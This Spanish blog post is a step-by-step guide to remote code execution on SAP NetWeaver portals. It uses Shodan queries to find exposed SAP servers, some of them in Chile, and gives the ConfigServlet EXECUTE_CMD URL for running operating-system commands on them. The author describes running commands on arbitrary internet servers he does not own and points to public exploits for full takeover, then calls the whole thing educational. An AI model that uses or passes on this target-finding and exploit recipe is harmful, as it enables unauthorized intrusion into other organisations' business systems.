Hacking SAP con ejecución remota de código
Hace poco leí un artículo publicado de un investigador de ERPscan https://erpscan.com/wp-content/uploads/presentations/2013-CONFidence-Breaking-and-Forensicating-SAP-Portal.pdf que habla sobre diversos fallos encontrados en SAP lo encontré súper interesante y me dispuse a escribir sobre este tema.
Para los que no conocen SAP les cuento que es un ERP muy famoso utilizado por las principales marcas del mundo, se dice que lo han adquirido más de 180.000 empresas en todo el mundo.
Según el siguiente Blog https://backofficemag.wordpress.com/2009/05/04/100-empresas-chilenas-usando-sap-all-in-one/ dice tener un listado de 100 empresas que usan SAP en Chile, no se si será cierta la información, pero sirve de referencia.
Más información SAP: https://es.wikipedia.org/wiki/SAP_Business_Suite
Para poder seguir esta Prueba de Concepto, te recomiendo abrir una Cuenta en https://www.shodan.io para tener un poco mas de privilegios.
Lo primero que vamos a hacer es realizar una consulta en el motor de búsqueda para saber cuantos servidores SAP están conectados a Internet.
Consulta: server: SAP
URL: https://www.shodan.io/search?query=server%3A+SAP
Shodan nos dice que a detectado 13.219 servidores con SAP en Internet y la mayor cantidad la tiene EEUU.
Cuantos servidores con SAP en Chile estarán expuestos a Internet, la pregunta se responde realizando la siguiente consulta:
Consulta: server: SAP country:cl
URL:https://www.shodan.io/search?query=server%3A+SAP+country%3Acl
La imagen nos dice que SHODAN detecto 161 servidores SAP conectados a Internet en Chile.
Ahora vamos a buscar servidores vulnerables a ejecución de código remoto y Para esto realizaremos la siguiente búsqueda:
Consulta: /irj/portal/
URL: https://www.shodan.io/search?query=%2Firj%2Fportal
Shodan nos dice que probablemente existan 1.469 servidores vulnerables en el mundo.
Para verificar si existe la vulnerabilidad de ejecución remota de código, debemos entrar a un servidor cualquiera con una URL parecida a esta:
https://xxx.xxxxxxxxxxxx.xx/irj/portal/
Y debemos reemplazar y dejar la siguiente URL
https:// xxx /ctc/servle/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfigEXECUTE_CMD;CMDLINE=AQUÍ VA EL COMANDO
En el ejemplo utilizamos el comando ls para listar archivos en Linux
https:// xxx/ctc/servle/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ls
Si listamos un comando que no se soporta, nos debería aparecer un error, yo apropósito lance un comando de Windows en Linux.
Aquí lance otro comando para ver en que directorio me encuentro:
También podríamos encontrar SAP instalado en una Maquina Windows donde si nos funcione el comando ipconfig.
Cabe señalar que los comandos que lance son completamente inofensivos, pero si realmente se quiere tomar control de la maquina o un atacante desea hacer daño existen exploit dentro de la distribución KALI Linux que se podrían usar para atacar.
http://www.exploit-db.com/exploits/24996/
https://www.exploit-db.com/exploits/24963/
Me despido con un abrazo y espero el ejemplo les fuese útil para su educación en materias de seguridad y aprovechar a enseñar como comprobar sus sistemas y adelantarse a los atacantes.
Para dudas o consultas mi correo es:cyslabs@gmail.com